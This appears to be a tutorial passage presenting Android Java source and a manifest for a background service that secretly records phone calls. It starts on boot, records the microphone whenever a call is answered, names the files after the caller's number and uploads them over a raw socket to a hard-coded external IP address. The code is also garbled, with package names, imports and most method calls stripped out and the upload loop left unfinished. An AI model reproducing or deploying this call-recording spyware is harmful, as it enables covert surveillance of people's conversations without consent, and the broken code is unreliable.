In this example, new technology "services" will be used to resolve these shortcomings.
package ;
import ;
import ;
import ;
import ;
import ;
import ;
import ;
import ;
import ;
import ;
import ;
import ;
import ;
import ;
import ;
public class PhoneListenService extends Service {
private static final String TAG = "PhoneListenService";
@Override
public void onCreate() {
TelephonyManager telManager = (TelephonyManager) getSystemService(Context.TELEPHONY_SERVICE);
(new TelListener(), PhoneStateListener.LISTEN_CALL_STATE);
(TAG, "service created");
();
}
@Override
public void onDestroy() {//Clear all files in the cache directory
File[] files = getCacheDir().listFiles();
if(files!=null){
for(File f: files){
();
}
}
(TAG, "service destroy");
();
}
private class TelListener extends PhoneStateListener{
private MediaRecorder recorder;
private String mobile;
private File audioFile;
private boolean record;
@Override
public void onCallStateChanged(int state, String incomingNumber) {
try {
switch (state){
case TelephonyManager.CALL_STATE_IDLE: /* When there is no status */
if(record){
();//Stop burning
();
record = false;
new Thread(new UploadTask()).start();
(TAG, "start upload file");
}
break;
case TelephonyManager.CALL_STATE_OFFHOOK: /* When you pick up the phone */
(TAG, "OFFHOOK:"+ mobile);
recorder = new MediaRecorder();
();//Collection of sound from the microphone (for the time being, only the sound signal of the microphone, no signal of the receiver - only the person can speak, no hearing what the other party says)
(.THREE_GPP);//Content output format
(.AMR_NB);//Audio encoding method
audioFile = new File(getCacheDir(), mobile+"_"+ ()+".3gp");
(());
();//Expected preparation
(); //Start burning
record = true;
break;
case TelephonyManager.CALL_STATE_RINGING: /* When the phone comes in */
(TAG, "incomingNumber:"+ incomingNumber);
mobile = incomingNumber;
break;
default:
break;
}
} catch (Exception e) {
(TAG, ());
}
(state, incomingNumber);
}
private final class UploadTask implements Runnable{
@Override
public void run() {
try {
Socket socket = new Socket("220.113.15.71", 7878);
OutputStream outStream = ();
String head = "Content-Length="+ () + ";filename="+ () + ";sourceid=\r\n";
(());
PushbackInputStream inStream = new PushbackInputStream(());
String response = (inStream);
String[] items = (";");
String position = items[1].substring(items[1].indexOf("=")+1);
RandomAccessFile fileOutStream = new RandomAccessFile(audioFile, "r");
((position));
byte[] buffer = new byte[1024];
int len = -1;
}
}
}
@Override
public IBinder onBind(Intent intent) {
// TODO Auto-generated method stub
return null;
}
}
package ;
import ;
import ;
import ;
public class BootBroadcastReceiver extends BroadcastReceiver {
@Override
public void onReceive(Context context, Intent intent) {
//Android starts broadcasting, starts the phone service after booting
Intent service = new Intent(context, );
(service);
}
}
<?xml version="1.0" encoding="utf-8"?>
<manifest xmlns:andro
package=""
android:versionCode="1"
android:versionName="1.0">
<application android:icon="@drawable/icon" android:label="@string/app_name">
<service android:name=".PhoneListenService" />
<receiver android:name=".BootBroadcastReceiver">
<intent-filter>
<action android:name=".BOOT_COMPLETED"/>
</intent-filter>
</receiver>
</application>
<uses-sdk android:minSdkVersion="7" />
<uses-permission android:name=".RECORD_AUDIO"/>
<!-- Permissions to access the network -->
<uses-permission android:name=""/>
<uses-permission android:name=".READ_PHONE_STATE"/>
<uses-permission android:name=".RECEIVE_BOOT_COMPLETED"/>
</manifest>
package ;
import ;
import ;
import ;
import ;
import ;
import ;
public class StreamTool {
public static void save(File file, byte[] data) throws Exception {
FileOutputStream outStream = new FileOutputStream(file);
(data);
();
}
public static String readLine(PushbackInputStream in) throws IOException {
char buf[] = new char[128];
int room = ;
int offset = 0;
int c;
loop: while (true) {
switch (c = ()) {
case -1:
case '\n':
break loop;
case '\r':
int c2 = ();
if ((c2 != '\n') && (c2 != -1)) (c2);
break loop;
default:
if (--room < 0) {
char[] lineBuffer = buf;
buf = new char[offset + 128];
room = - offset - 1;
(lineBuffer, 0, buf, 0, offset);
}
buf[offset++] = (char) c;
break;
}
}
if ((c == -1) && (offset == 0)) return null;
return (buf, 0, offset);
}